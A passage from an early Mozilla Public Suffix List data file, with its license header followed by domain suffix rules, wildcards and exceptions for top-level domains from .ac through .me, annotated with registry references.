The contents of this file are subject to the Mozilla Public License Version -// 1.1 (the "License"); you may not use this file except in compliance with -// the License. You may obtain a copy of the License at -// http://www.mozilla.org/MPL/ -// -// Software distributed under the License is distributed on an "AS IS" basis, -// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License -// for the specific language governing rights and limitations under the -// License. -// -// The Original Code is the Public Suffix List. -// -// The Initial Developer of the Original Code is -// Jo Hermans . -// Portions created by the Initial Developer are Copyright (C) 2007 -// the Initial Developer. All Rights Reserved. -// -// Contributor(s): -// Ruben Arakelyan -// Gervase Markham -// Pamela Greene -// David Triendl -// Jothan Frakes -// The kind representatives of many TLD registries -// -// Alternatively, the contents of this file may be used under the terms of -// either the GNU General Public License Version 2 or later (the "GPL"), or -// the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), -// in which case the provisions of the GPL or the LGPL are applicable instead -// of those above. If you wish to allow use of your version of this file only -// under the terms of either the GPL or the LGPL, and not to allow others to -// use your version of this file under the terms of the MPL, indicate your -// decision by deleting the provisions above and replace them with the notice -// and other provisions required by the GPL or the LGPL. If you do not delete -// the provisions above, a recipient may use your version of this file under -// the terms of any one of the MPL, the GPL or the LGPL. -// -// ***** END LICENSE BLOCK ***** - -// ac : http://en.wikipedia.org/wiki/.ac -ac -com.ac -edu.ac -gov.ac -net.ac -mil.ac -org.ac - -// ad : http://en.wikipedia.org/wiki/.ad -ad -nom.ad - -// ae : http://en.wikipedia.org/wiki/.ae -// see also: "Domain Name Eligibility Policy" at http://www.aeda.ae/eng/aepolicy.php -ae -co.ae -net.ae -org.ae -sch.ae -ac.ae -gov.ae -mil.ae - -// aero : see http://www.information.aero/index.php?id=66 -aero -accident-investigation.aero -accident-prevention.aero -aerobatic.aero -aeroclub.aero -aerodrome.aero -agents.aero -aircraft.aero -airline.aero -airport.aero -air-surveillance.aero -airtraffic.aero -air-traffic-control.aero -ambulance.aero -amusement.aero -association.aero -author.aero -ballooning.aero -broker.aero -caa.aero -cargo.aero -catering.aero -certification.aero -championship.aero -charter.aero -civilaviation.aero -club.aero -conference.aero -consultant.aero -consulting.aero -control.aero -council.aero -crew.aero -design.aero -dgca.aero -educator.aero -emergency.aero -engine.aero -engineer.aero -entertainment.aero -equipment.aero -exchange.aero -express.aero -federation.aero -flight.aero -freight.aero -fuel.aero -gliding.aero -government.aero -groundhandling.aero -group.aero -hanggliding.aero -homebuilt.aero -insurance.aero -journal.aero -journalist.aero -leasing.aero -logistics.aero -magazine.aero -maintenance.aero -marketplace.aero -media.aero -microlight.aero -modelling.aero -navigation.aero -parachuting.aero -paragliding.aero -passenger-association.aero -pilot.aero -press.aero -production.aero -recreation.aero -repbody.aero -res.aero -research.aero -rotorcraft.aero -safety.aero -scientist.aero -services.aero -show.aero -skydiving.aero -software.aero -student.aero -taxi.aero -trader.aero -trading.aero -trainer.aero -union.aero -workinggroup.aero -works.aero - -// af : http://www.nic.af/help.jsp -af -gov.af -com.af -org.af -net.af -edu.af - -// ag : http://www.nic.ag/prices.htm -ag -com.ag -org.ag -net.ag -co.ag -nom.ag - -// ai : http://nic.com.ai/ -ai -off.ai -com.ai -net.ai -org.ai - -// al : http://www.ert.gov.al/ert_alb/faq_det.html?Id=31 -al -com.al -edu.al -gov.al -mil.al -net.al -org.al - -// am : http://en.wikipedia.org/wiki/.am -am - -// an : http://www.una.an/an_domreg/default.asp -an -com.an -net.an -org.an -edu.an - -// ao : http://en.wikipedia.org/wiki/.ao -// http://www.dns.ao/REGISTR.DOC -ao -ed.ao -gv.ao -og.ao -co.ao -pb.ao -it.ao - -// aq : http://en.wikipedia.org/wiki/.aq -aq - -// ar : http://en.wikipedia.org/wiki/.ar -*.ar -!congresodelalengua3.ar -!educ.ar -!gobiernoelectronico.ar -!mecon.ar -!nacion.ar -!nic.ar -!promocion.ar -!retina.ar -!uba.ar - -// arpa : http://en.wikipedia.org/wiki/.arpa -// Confirmed by registry 2008-06-18 -e164.arpa -in-addr.arpa -ip6.arpa -iris.arpa -uri.arpa -urn.arpa - -// as : http://en.wikipedia.org/wiki/.as -as -gov.as - -// asia: http://en.wikipedia.org/wiki/.asia -asia - -// at : http://en.wikipedia.org/wiki/.at -// Confirmed by registry 2008-06-17 -at -ac.at -co.at -gv.at -or.at - -// http://www.info.at/ -biz.at -info.at - -// priv.at : http://www.nic.priv.at/ -// Submitted by registry 2008-06-09 -priv.at - -// au : http://en.wikipedia.org/wiki/.au -*.au -// au geographical names (vic.au etc... are covered above) -act.edu.au -nsw.edu.au -nt.edu.au -qld.edu.au -sa.edu.au -tas.edu.au -vic.edu.au -wa.edu.au -act.gov.au -// Removed at request of Shae.Donelan@services.nsw.gov.au, 2010-03-04 -// nsw.gov.au -nt.gov.au -qld.gov.au -sa.gov.au -tas.gov.au -vic.gov.au -wa.gov.au -// CGDNs - http://www.aucd.org.au/ -act.au -nsw.au -nt.au -qld.au -sa.au -tas.au -vic.au -wa.au - -// aw : http://en.wikipedia.org/wiki/.aw -aw -com.aw - -// ax : http://en.wikipedia.org/wiki/.ax -ax - -// az : http://en.wikipedia.org/wiki/.az -az -com.az -net.az -int.az -gov.az -org.az -edu.az -info.az -pp.az -mil.az -name.az -pro.az -biz.az - -// ba : http://en.wikipedia.org/wiki/.ba -ba -org.ba -net.ba -edu.ba -gov.ba -mil.ba -unsa.ba -unbi.ba -co.ba -com.ba -rs.ba - -// bb : http://en.wikipedia.org/wiki/.bb -bb -biz.bb -com.bb -edu.bb -gov.bb -info.bb -net.bb -org.bb -store.bb - -// bd : http://en.wikipedia.org/wiki/.bd -*.bd - -// be : http://en.wikipedia.org/wiki/.be -// Confirmed by registry 2008-06-08 -be -ac.be - -// bf : http://en.wikipedia.org/wiki/.bf -bf -gov.bf - -// bg : http://en.wikipedia.org/wiki/.bg -// https://www.register.bg/user/static/rules/en/index.html -bg -a.bg -b.bg -c.bg -d.bg -e.bg -f.bg -g.bg -h.bg -i.bg -j.bg -k.bg -l.bg -m.bg -n.bg -o.bg -p.bg -q.bg -r.bg -s.bg -t.bg -u.bg -v.bg -w.bg -x.bg -y.bg -z.bg -0.bg -1.bg -2.bg -3.bg -4.bg -5.bg -6.bg -7.bg -8.bg -9.bg - -// bh : http://en.wikipedia.org/wiki/.bh -bh -com.bh -edu.bh -net.bh -org.bh -gov.bh - -// bi : http://en.wikipedia.org/wiki/.bi -// http://whois.nic.bi/ -bi -co.bi -com.bi -edu.bi -or.bi -org.bi - -// biz : http://en.wikipedia.org/wiki/.biz -biz - -// bj : http://en.wikipedia.org/wiki/.bj -bj -asso.bj -barreau.bj -gouv.bj - -// bm : http://www.bermudanic.bm/dnr-text.txt -bm -com.bm -edu.bm -gov.bm -net.bm -org.bm - -// bn : http://en.wikipedia.org/wiki/.bn -*.bn - -// bo : http://www.nic.bo/ -bo -com.bo -edu.bo -gov.bo -gob.bo -int.bo -org.bo -net.bo -mil.bo -tv.bo - -// br : http://registro.br/dominio/dpn.html -// Updated by registry 2011-03-01 -br -adm.br -adv.br -agr.br -am.br -arq.br -art.br -ato.br -b.br -bio.br -blog.br -bmd.br -can.br -cim.br -cng.br -cnt.br -com.br -coop.br -ecn.br -edu.br -emp.br -eng.br -esp.br -etc.br -eti.br -far.br -flog.br -fm.br -fnd.br -fot.br -fst.br -g12.br -ggf.br -gov.br -imb.br -ind.br -inf.br -jor.br -jus.br -lel.br -mat.br -med.br -mil.br -mus.br -net.br -nom.br -not.br -ntr.br -odo.br -org.br -ppg.br -pro.br -psc.br -psi.br -qsl.br -radio.br -rec.br -slg.br -srv.br -taxi.br -teo.br -tmp.br -trd.br -tur.br -tv.br -vet.br -vlog.br -wiki.br -zlg.br - -// bs : http://www.nic.bs/rules.html -bs -com.bs -net.bs -org.bs -edu.bs -gov.bs - -// bt : http://en.wikipedia.org/wiki/.bt -bt -com.bt -edu.bt -gov.bt -net.bt -org.bt - -// bv : No registrations at this time. -// Submitted by registry 2006-06-16 - -// bw : http://en.wikipedia.org/wiki/.bw -// http://www.gobin.info/domainname/bw.doc -// list of other 2nd level tlds ? -bw -co.bw -org.bw - -// by : http://en.wikipedia.org/wiki/.by -// http://tld.by/rules_2006_en.html -// list of other 2nd level tlds ? -by -gov.by -mil.by -// Official information does not indicate that com.by is a reserved -// second-level domain, but it's being used as one (see www.google.com.by and -// www.yahoo.com.by, for example), so we list it here for safety's sake. -com.by - -// http://hoster.by/ -of.by - -// bz : http://en.wikipedia.org/wiki/.bz -// http://www.belizenic.bz/ -bz -com.bz -net.bz -org.bz -edu.bz -gov.bz - -// ca : http://en.wikipedia.org/wiki/.ca -ca -// ca geographical names -ab.ca -bc.ca -mb.ca -nb.ca -nf.ca -nl.ca -ns.ca -nt.ca -nu.ca -on.ca -pe.ca -qc.ca -sk.ca -yk.ca -// gc.ca: http://en.wikipedia.org/wiki/.gc.ca -// see also: http://registry.gc.ca/en/SubdomainFAQ -gc.ca - -// cat : http://en.wikipedia.org/wiki/.cat -cat - -// cc : http://en.wikipedia.org/wiki/.cc -cc - -// cd : http://en.wikipedia.org/wiki/.cd -// see also: https://www.nic.cd/domain/insertDomain_2.jsp?act=1 -cd -gov.cd - -// cf : http://en.wikipedia.org/wiki/.cf -cf - -// cg : http://en.wikipedia.org/wiki/.cg -cg - -// ch : http://en.wikipedia.org/wiki/.ch -ch - -// ci : http://en.wikipedia.org/wiki/.ci -// http://www.nic.ci/index.php?page=charte -ci -org.ci -or.ci -com.ci -co.ci -edu.ci -ed.ci -ac.ci -net.ci -go.ci -asso.ci -aéroport.ci -int.ci -presse.ci -md.ci -gouv.ci - -// ck : http://en.wikipedia.org/wiki/.ck -*.ck - -// cl : http://en.wikipedia.org/wiki/.cl -cl -gov.cl -gob.cl - -// cm : http://en.wikipedia.org/wiki/.cm -cm -gov.cm - -// cn : http://en.wikipedia.org/wiki/.cn -// Submitted by registry 2008-06-11 -cn -ac.cn -com.cn -edu.cn -gov.cn -net.cn -org.cn -mil.cn -公司.cn -网络.cn -網絡.cn -// cn geographic names -ah.cn -bj.cn -cq.cn -fj.cn -gd.cn -gs.cn -gz.cn -gx.cn -ha.cn -hb.cn -he.cn -hi.cn -hl.cn -hn.cn -jl.cn -js.cn -jx.cn -ln.cn -nm.cn -nx.cn -qh.cn -sc.cn -sd.cn -sh.cn -sn.cn -sx.cn -tj.cn -xj.cn -xz.cn -yn.cn -zj.cn -hk.cn -mo.cn -tw.cn - -// co : http://en.wikipedia.org/wiki/.co -// Submitted by registry 2008-06-11 -co -arts.co -com.co -edu.co -firm.co -gov.co -info.co -int.co -mil.co -net.co -nom.co -org.co -rec.co -web.co - -// com : http://en.wikipedia.org/wiki/.com -com - -// CentralNic names : http://www.centralnic.com/names/domains -// Confirmed by registry 2008-06-09 -ar.com -br.com -cn.com -de.com -eu.com -gb.com -hu.com -jpn.com -kr.com -no.com -qc.com -ru.com -sa.com -se.com -uk.com -us.com -uy.com -za.com - -// Requested by Yngve Pettersen 2009-11-26 -operaunite.com - -// Requested by Eduardo Vela 2010-09-06 -appspot.com - -// coop : http://en.wikipedia.org/wiki/.coop -coop - -// cr : http://www.nic.cr/niccr_publico/showRegistroDominiosScreen.do -cr -ac.cr -co.cr -ed.cr -fi.cr -go.cr -or.cr -sa.cr - -// cu : http://en.wikipedia.org/wiki/.cu -cu -com.cu -edu.cu -org.cu -net.cu -gov.cu -inf.cu - -// cv : http://en.wikipedia.org/wiki/.cv -cv - -// cx : http://en.wikipedia.org/wiki/.cx -// list of other 2nd level tlds ? -cx -gov.cx - -// cy : http://en.wikipedia.org/wiki/.cy -*.cy - -// cz : http://en.wikipedia.org/wiki/.cz -cz - -// de : http://en.wikipedia.org/wiki/.de -// Confirmed by registry (with technical -// reservations) 2008-07-01 -de - -// dj : http://en.wikipedia.org/wiki/.dj -dj - -// dk : http://en.wikipedia.org/wiki/.dk -// Confirmed by registry 2008-06-17 -dk - -// dm : http://en.wikipedia.org/wiki/.dm -dm -com.dm -net.dm -org.dm -edu.dm -gov.dm - -// do : http://en.wikipedia.org/wiki/.do -do -art.do -com.do -edu.do -gob.do -gov.do -mil.do -net.do -org.do -sld.do -web.do - -// dz : http://en.wikipedia.org/wiki/.dz -dz -com.dz -org.dz -net.dz -gov.dz -edu.dz -asso.dz -pol.dz -art.dz - -// ec : http://www.nic.ec/reg/paso1.asp -// Submitted by registry 2008-07-04 -ec -com.ec -info.ec -net.ec -fin.ec -k12.ec -med.ec -pro.ec -org.ec -edu.ec -gov.ec -gob.ec -mil.ec - -// edu : http://en.wikipedia.org/wiki/.edu -edu - -// ee : http://www.eenet.ee/EENet/dom_reeglid.html#lisa_B -ee -edu.ee -gov.ee -riik.ee -lib.ee -med.ee -com.ee -pri.ee -aip.ee -org.ee -fie.ee - -// eg : http://en.wikipedia.org/wiki/.eg -eg -com.eg -edu.eg -eun.eg -gov.eg -mil.eg -name.eg -net.eg -org.eg -sci.eg - -// er : http://en.wikipedia.org/wiki/.er -*.er - -// es : https://www.nic.es/site_ingles/ingles/dominios/index.html -es -com.es -nom.es -org.es -gob.es -edu.es - -// et : http://en.wikipedia.org/wiki/.et -*.et - -// eu : http://en.wikipedia.org/wiki/.eu -eu - -// fi : http://en.wikipedia.org/wiki/.fi -fi -// aland.fi : http://en.wikipedia.org/wiki/.ax -// This domain is being phased out in favor of .ax. As there are still many -// domains under aland.fi, we still keep it on the list until aland.fi is -// completely removed. -// TODO: Check for updates (expected to be phased out around Q1/2009) -aland.fi -// iki.fi : Submitted by Hannu Aronsson 2009-11-05 -iki.fi - -// fj : http://en.wikipedia.org/wiki/.fj -*.fj - -// fk : http://en.wikipedia.org/wiki/.fk -*.fk - -// fm : http://en.wikipedia.org/wiki/.fm -fm - -// fo : http://en.wikipedia.org/wiki/.fo -fo - -// fr : http://www.afnic.fr/ -// domaines descriptifs : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-descriptifs -fr -com.fr -asso.fr -nom.fr -prd.fr -presse.fr -tm.fr -// domaines sectoriels : http://www.afnic.fr/obtenir/chartes/nommage-fr/annexe-sectoriels -aeroport.fr -assedic.fr -avocat.fr -avoues.fr -cci.fr -chambagri.fr -chirurgiens-dentistes.fr -experts-comptables.fr -geometre-expert.fr -gouv.fr -greta.fr -huissier-justice.fr -medecin.fr -notaires.fr -pharmacien.fr -port.fr -veterinaire.fr - -// ga : http://en.wikipedia.org/wiki/.ga -ga - -// gb : This registry is effectively dormant -// Submitted by registry 2008-06-12 - -// gd : http://en.wikipedia.org/wiki/.gd -gd - -// ge : http://www.nic.net.ge/policy_en.pdf -ge -com.ge -edu.ge -gov.ge -org.ge -mil.ge -net.ge -pvt.ge - -// gf : http://en.wikipedia.org/wiki/.gf -gf - -// gg : http://www.channelisles.net/applic/avextn.shtml -gg -co.gg -org.gg -net.gg -sch.gg -gov.gg - -// gh : http://en.wikipedia.org/wiki/.gh -// see also: http://www.nic.gh/reg_now.php -// Although domains directly at second level are not possible at the moment, -// they have been possible for some time and may come back. -gh -com.gh -edu.gh -gov.gh -org.gh -mil.gh - -// gi : http://www.nic.gi/rules.html -gi -com.gi -ltd.gi -gov.gi -mod.gi -edu.gi -org.gi - -// gl : http://en.wikipedia.org/wiki/.gl -// http://nic.gl -gl - -// gm : http://www.nic.gm/htmlpages%5Cgm-policy.htm -gm - -// gn : http://psg.com/dns/gn/gn.txt -// Submitted by registry 2008-06-17 -ac.gn -com.gn -edu.gn -gov.gn -org.gn -net.gn - -// gov : http://en.wikipedia.org/wiki/.gov -gov - -// gp : http://www.nic.gp/index.php?lang=en -gp -com.gp -net.gp -mobi.gp -edu.gp -org.gp -asso.gp - -// gq : http://en.wikipedia.org/wiki/.gq -gq - -// gr : https://grweb.ics.forth.gr/english/1617-B-2005.html -// Submitted by registry 2008-06-09 -gr -com.gr -edu.gr -net.gr -org.gr -gov.gr - -// gs : http://en.wikipedia.org/wiki/.gs -gs - -// gt : http://www.gt/politicas.html -*.gt - -// gu : http://gadao.gov.gu/registration.txt -*.gu - -// gw : http://en.wikipedia.org/wiki/.gw -gw - -// gy : http://en.wikipedia.org/wiki/.gy -// http://registry.gy/ -gy -co.gy -com.gy -net.gy - -// hk : https://www.hkdnr.hk -// Submitted by registry 2008-06-11 -hk -com.hk -edu.hk -gov.hk -idv.hk -net.hk -org.hk -公司.hk -教育.hk -敎育.hk -政府.hk -個人.hk -个人.hk -箇人.hk -網络.hk -网络.hk -组織.hk -網絡.hk -网絡.hk -组织.hk -組織.hk -組织.hk - -// hm : http://en.wikipedia.org/wiki/.hm -hm - -// hn : http://www.nic.hn/politicas/ps02,,05.html -hn -com.hn -edu.hn -org.hn -net.hn -mil.hn -gob.hn - -// hr : http://www.dns.hr/documents/pdf/HRTLD-regulations.pdf -hr -iz.hr -from.hr -name.hr -com.hr - -// ht : http://www.nic.ht/info/charte.cfm -ht -com.ht -shop.ht -firm.ht -info.ht -adult.ht -net.ht -pro.ht -org.ht -med.ht -art.ht -coop.ht -pol.ht -asso.ht -edu.ht -rel.ht -gouv.ht -perso.ht - -// hu : http://www.domain.hu/domain/English/sld.html -// Confirmed by registry 2008-06-12 -hu -co.hu -info.hu -org.hu -priv.hu -sport.hu -tm.hu -2000.hu -agrar.hu -bolt.hu -casino.hu -city.hu -erotica.hu -erotika.hu -film.hu -forum.hu -games.hu -hotel.hu -ingatlan.hu -jogasz.hu -konyvelo.hu -lakas.hu -media.hu -news.hu -reklam.hu -sex.hu -shop.hu -suli.hu -szex.hu -tozsde.hu -utazas.hu -video.hu - -// id : http://en.wikipedia.org/wiki/.id -// see also: https://register.pandi.or.id/ -id -ac.id -co.id -go.id -mil.id -net.id -or.id -sch.id -web.id - -// ie : http://en.wikipedia.org/wiki/.ie -ie -gov.ie - -// il : http://en.wikipedia.org/wiki/.il -*.il - -// im : https://www.nic.im/pdfs/imfaqs.pdf -im -co.im -ltd.co.im -plc.co.im -net.im -gov.im -org.im -nic.im -ac.im - -// in : http://en.wikipedia.org/wiki/.in -// see also: http://www.inregistry.in/policies/ -// Please note, that nic.in is not an offical eTLD, but used by most -// government institutions. -in -co.in -firm.in -net.in -org.in -gen.in -ind.in -nic.in -ac.in -edu.in -res.in -gov.in -mil.in - -// info : http://en.wikipedia.org/wiki/.info -info - -// int : http://en.wikipedia.org/wiki/.int -// Confirmed by registry 2008-06-18 -int -eu.int - -// io : http://www.nic.io/rules.html -// list of other 2nd level tlds ? -io -com.io - -// iq : http://www.cmc.iq/english/iq/iqregister1.htm -iq -gov.iq -edu.iq -mil.iq -com.iq -org.iq -net.iq - -// ir : http://www.nic.ir/Terms_and_Conditions_ir,_Appendix_1_Domain_Rules -// Also see http://www.nic.ir/Internationalized_Domain_Names -// Two .ir entries added at request of , 2010-04-16 -ir -ac.ir -co.ir -gov.ir -id.ir -net.ir -org.ir -sch.ir -// xn--mgba3a4f16a.ir (.ir, Persian YEH) -ایران.ir -// xn--mgba3a4fra.ir (.ir, Arabic YEH) -ايران.ir - -// is : http://www.isnic.is/domain/rules.php -// Confirmed by registry 2008-12-06 -is -net.is -com.is -edu.is -gov.is -org.is -int.is - -// it : http://en.wikipedia.org/wiki/.it -it -gov.it -edu.it -// list of reserved geo-names : -// http://www.nic.it/documenti/regolamenti-e-linee-guida/regolamento-assegnazione-versione-6.0.pdf -// (There is also a list of reserved geo-names corresponding to Italian -// municipalities : http://www.nic.it/documenti/appendice-c.pdf , but it is -// not included here.) -agrigento.it -ag.it -alessandria.it -al.it -ancona.it -an.it -aosta.it -aoste.it -ao.it -arezzo.it -ar.it -ascoli-piceno.it -ascolipiceno.it -ap.it -asti.it -at.it -avellino.it -av.it -bari.it -ba.it -andria-barletta-trani.it -andriabarlettatrani.it -trani-barletta-andria.it -tranibarlettaandria.it -barletta-trani-andria.it -barlettatraniandria.it -andria-trani-barletta.it -andriatranibarletta.it -trani-andria-barletta.it -traniandriabarletta.it -bt.it -belluno.it -bl.it -benevento.it -bn.it -bergamo.it -bg.it -biella.it -bi.it -bologna.it -bo.it -bolzano.it -bozen.it -balsan.it -alto-adige.it -altoadige.it -suedtirol.it -bz.it -brescia.it -bs.it -brindisi.it -br.it -cagliari.it -ca.it -caltanissetta.it -cl.it -campobasso.it -cb.it -carboniaiglesias.it -carbonia-iglesias.it -iglesias-carbonia.it -iglesiascarbonia.it -ci.it -caserta.it -ce.it -catania.it -ct.it -catanzaro.it -cz.it -chieti.it -ch.it -como.it -co.it -cosenza.it -cs.it -cremona.it -cr.it -crotone.it -kr.it -cuneo.it -cn.it -dell-ogliastra.it -dellogliastra.it -ogliastra.it -og.it -enna.it -en.it -ferrara.it -fe.it -fermo.it -fm.it -firenze.it -florence.it -fi.it -foggia.it -fg.it -forli-cesena.it -forlicesena.it -cesena-forli.it -cesenaforli.it -fc.it -frosinone.it -fr.it -genova.it -genoa.it -ge.it -gorizia.it -go.it -grosseto.it -gr.it -imperia.it -im.it -isernia.it -is.it -laquila.it -aquila.it -aq.it -la-spezia.it -laspezia.it -sp.it -latina.it -lt.it -lecce.it -le.it -lecco.it -lc.it -livorno.it -li.it -lodi.it -lo.it -lucca.it -lu.it -macerata.it -mc.it -mantova.it -mn.it -massa-carrara.it -massacarrara.it -carrara-massa.it -carraramassa.it -ms.it -matera.it -mt.it -medio-campidano.it -mediocampidano.it -campidano-medio.it -campidanomedio.it -vs.it -messina.it -me.it -milano.it -milan.it -mi.it -modena.it -mo.it -monza.it -monza-brianza.it -monzabrianza.it -monzaebrianza.it -monzaedellabrianza.it -monza-e-della-brianza.it -mb.it -napoli.it -naples.it -na.it -novara.it -no.it -nuoro.it -nu.it -oristano.it -or.it -padova.it -padua.it -pd.it -palermo.it -pa.it -parma.it -pr.it -pavia.it -pv.it -perugia.it -pg.it -pescara.it -pe.it -pesaro-urbino.it -pesarourbino.it -urbino-pesaro.it -urbinopesaro.it -pu.it -piacenza.it -pc.it -pisa.it -pi.it -pistoia.it -pt.it -pordenone.it -pn.it -potenza.it -pz.it -prato.it -po.it -ragusa.it -rg.it -ravenna.it -ra.it -reggio-calabria.it -reggiocalabria.it -rc.it -reggio-emilia.it -reggioemilia.it -re.it -rieti.it -ri.it -rimini.it -rn.it -roma.it -rome.it -rm.it -rovigo.it -ro.it -salerno.it -sa.it -sassari.it -ss.it -savona.it -sv.it -siena.it -si.it -siracusa.it -sr.it -sondrio.it -so.it -taranto.it -ta.it -tempio-olbia.it -tempioolbia.it -olbia-tempio.it -olbiatempio.it -ot.it -teramo.it -te.it -terni.it -tr.it -torino.it -turin.it -to.it -trapani.it -tp.it -trento.it -trentino.it -tn.it -treviso.it -tv.it -trieste.it -ts.it -udine.it -ud.it -varese.it -va.it -venezia.it -venice.it -ve.it -verbania.it -vb.it -vercelli.it -vc.it -verona.it -vr.it -vibo-valentia.it -vibovalentia.it -vv.it -vicenza.it -vi.it -viterbo.it -vt.it - -// je : http://www.channelisles.net/applic/avextn.shtml -je -co.je -org.je -net.je -sch.je -gov.je - -// jm : http://www.com.jm/register.html -*.jm - -// jo : http://www.dns.jo/Registration_policy.aspx -jo -com.jo -org.jo -net.jo -edu.jo -sch.jo -gov.jo -mil.jo -name.jo - -// jobs : http://en.wikipedia.org/wiki/.jobs -jobs - -// jp : http://en.wikipedia.org/wiki/.jp -// http://jprs.co.jp/en/jpdomain.html -// Submitted by registry 2008-06-11 -// Updated by registry 2008-12-04 -jp -// jp organizational type names -ac.jp -ad.jp -co.jp -ed.jp -go.jp -gr.jp -lg.jp -ne.jp -or.jp -// jp geographic type names -// http://jprs.jp/doc/rule/saisoku-1.html -*.aichi.jp -*.akita.jp -*.aomori.jp -*.chiba.jp -*.ehime.jp -*.fukui.jp -*.fukuoka.jp -*.fukushima.jp -*.gifu.jp -*.gunma.jp -*.hiroshima.jp -*.hokkaido.jp -*.hyogo.jp -*.ibaraki.jp -*.ishikawa.jp -*.iwate.jp -*.kagawa.jp -*.kagoshima.jp -*.kanagawa.jp -*.kawasaki.jp -*.kitakyushu.jp -*.kobe.jp -*.kochi.jp -*.kumamoto.jp -*.kyoto.jp -*.mie.jp -*.miyagi.jp -*.miyazaki.jp -*.nagano.jp -*.nagasaki.jp -*.nagoya.jp -*.nara.jp -*.niigata.jp -*.oita.jp -*.okayama.jp -*.okinawa.jp -*.osaka.jp -*.saga.jp -*.saitama.jp -*.sapporo.jp -*.sendai.jp -*.shiga.jp -*.shimane.jp -*.shizuoka.jp -*.tochigi.jp -*.tokushima.jp -*.tokyo.jp -*.tottori.jp -*.toyama.jp -*.wakayama.jp -*.yamagata.jp -*.yamaguchi.jp -*.yamanashi.jp -*.yokohama.jp -!metro.tokyo.jp -!pref.aichi.jp -!pref.akita.jp -!pref.aomori.jp -!pref.chiba.jp -!pref.ehime.jp -!pref.fukui.jp -!pref.fukuoka.jp -!pref.fukushima.jp -!pref.gifu.jp -!pref.gunma.jp -!pref.hiroshima.jp -!pref.hokkaido.jp -!pref.hyogo.jp -!pref.ibaraki.jp -!pref.ishikawa.jp -!pref.iwate.jp -!pref.kagawa.jp -!pref.kagoshima.jp -!pref.kanagawa.jp -!pref.kochi.jp -!pref.kumamoto.jp -!pref.kyoto.jp -!pref.mie.jp -!pref.miyagi.jp -!pref.miyazaki.jp -!pref.nagano.jp -!pref.nagasaki.jp -!pref.nara.jp -!pref.niigata.jp -!pref.oita.jp -!pref.okayama.jp -!pref.okinawa.jp -!pref.osaka.jp -!pref.saga.jp -!pref.saitama.jp -!pref.shiga.jp -!pref.shimane.jp -!pref.shizuoka.jp -!pref.tochigi.jp -!pref.tokushima.jp -!pref.tottori.jp -!pref.toyama.jp -!pref.wakayama.jp -!pref.yamagata.jp -!pref.yamaguchi.jp -!pref.yamanashi.jp -!city.chiba.jp -!city.fukuoka.jp -!city.hiroshima.jp -!city.kawasaki.jp -!city.kitakyushu.jp -!city.kobe.jp -!city.kyoto.jp -!city.nagoya.jp -!city.niigata.jp -!city.okayama.jp -!city.osaka.jp -!city.saitama.jp -!city.sapporo.jp -!city.sendai.jp -!city.shizuoka.jp -!city.yokohama.jp - -// ke : http://www.kenic.or.ke/index.php?option=com_content&task=view&id=117&Itemid=145 -*.ke - -// kg : http://www.domain.kg/dmn_n.html -kg -org.kg -net.kg -com.kg -edu.kg -gov.kg -mil.kg - -// kh : http://www.mptc.gov.kh/dns_registration.htm -*.kh - -// ki : http://www.ki/dns/index.html -ki -edu.ki -biz.ki -net.ki -org.ki -gov.ki -info.ki -com.ki - -// km : http://en.wikipedia.org/wiki/.km -// http://www.domaine.km/documents/charte.doc -km -org.km -nom.km -gov.km -prd.km -tm.km -edu.km -mil.km -ass.km -com.km -// These are only mentioned as proposed suggestions at domaine.km, but -// http://en.wikipedia.org/wiki/.km says they're available for registration: -coop.km -asso.km -presse.km -medecin.km -notaires.km -pharmaciens.km -veterinaire.km -gouv.km - -// kn : http://en.wikipedia.org/wiki/.kn -// http://www.dot.kn/domainRules.html -kn -net.kn -org.kn -edu.kn -gov.kn - -// kp : http://www.kcce.kp/en_index.php -com.kp -edu.kp -gov.kp -org.kp -rep.kp -tra.kp - -// kr : http://en.wikipedia.org/wiki/.kr -// see also: http://domain.nida.or.kr/eng/registration.jsp -kr -ac.kr -co.kr -es.kr -go.kr -hs.kr -kg.kr -mil.kr -ms.kr -ne.kr -or.kr -pe.kr -re.kr -sc.kr -// kr geographical names -busan.kr -chungbuk.kr -chungnam.kr -daegu.kr -daejeon.kr -gangwon.kr -gwangju.kr -gyeongbuk.kr -gyeonggi.kr -gyeongnam.kr -incheon.kr -jeju.kr -jeonbuk.kr -jeonnam.kr -seoul.kr -ulsan.kr - -// kw : http://en.wikipedia.org/wiki/.kw -*.kw - -// ky : http://www.icta.ky/da_ky_reg_dom.php -// Confirmed by registry 2008-06-17 -ky -edu.ky -gov.ky -com.ky -org.ky -net.ky - -// kz : http://en.wikipedia.org/wiki/.kz -// see also: http://www.nic.kz/rules/index.jsp -kz -org.kz -edu.kz -net.kz -gov.kz -mil.kz -com.kz - -// la : http://en.wikipedia.org/wiki/.la -// Submitted by registry 2008-06-10 -la -int.la -net.la -info.la -edu.la -gov.la -per.la -com.la -org.la -// see http://www.c.la/ -c.la - -// lb : http://en.wikipedia.org/wiki/.lb -// Submitted by registry 2008-06-17 -com.lb -edu.lb -gov.lb -net.lb -org.lb - -// lc : http://en.wikipedia.org/wiki/.lc -// see also: http://www.nic.lc/rules.htm -lc -com.lc -net.lc -co.lc -org.lc -edu.lc -gov.lc - -// li : http://en.wikipedia.org/wiki/.li -li - -// lk : http://www.nic.lk/seclevpr.html -lk -gov.lk -sch.lk -net.lk -int.lk -com.lk -org.lk -edu.lk -ngo.lk -soc.lk -web.lk -ltd.lk -assn.lk -grp.lk -hotel.lk - -// local : http://en.wikipedia.org/wiki/.local -local - -// lr : http://psg.com/dns/lr/lr.txt -// Submitted by registry 2008-06-17 -com.lr -edu.lr -gov.lr -org.lr -net.lr - -// ls : http://en.wikipedia.org/wiki/.ls -ls -co.ls -org.ls - -// lt : http://en.wikipedia.org/wiki/.lt -lt -// gov.lt : http://www.gov.lt/index_en.php -gov.lt - -// lu : http://www.dns.lu/en/ -lu - -// lv : http://www.nic.lv/DNS/En/generic.php -lv -com.lv -edu.lv -gov.lv -org.lv -mil.lv -id.lv -net.lv -asn.lv -conf.lv - -// ly : http://www.nic.ly/regulations.php -ly -com.ly -net.ly -gov.ly -plc.ly -edu.ly -sch.ly -med.ly -org.ly -id.ly - -// ma : http://en.wikipedia.org/wiki/.ma -// http://www.anrt.ma/fr/admin/download/upload/file_fr782.pdf -ma -co.ma -net.ma -gov.ma -org.ma -ac.ma -press.ma - -// mc : http://www.nic.mc/ -mc -tm.mc -asso.mc - -// md : http://en.wikipedia.org/wiki/.md -md - -// me : http://en.wikipedia.org/wiki/.me -me 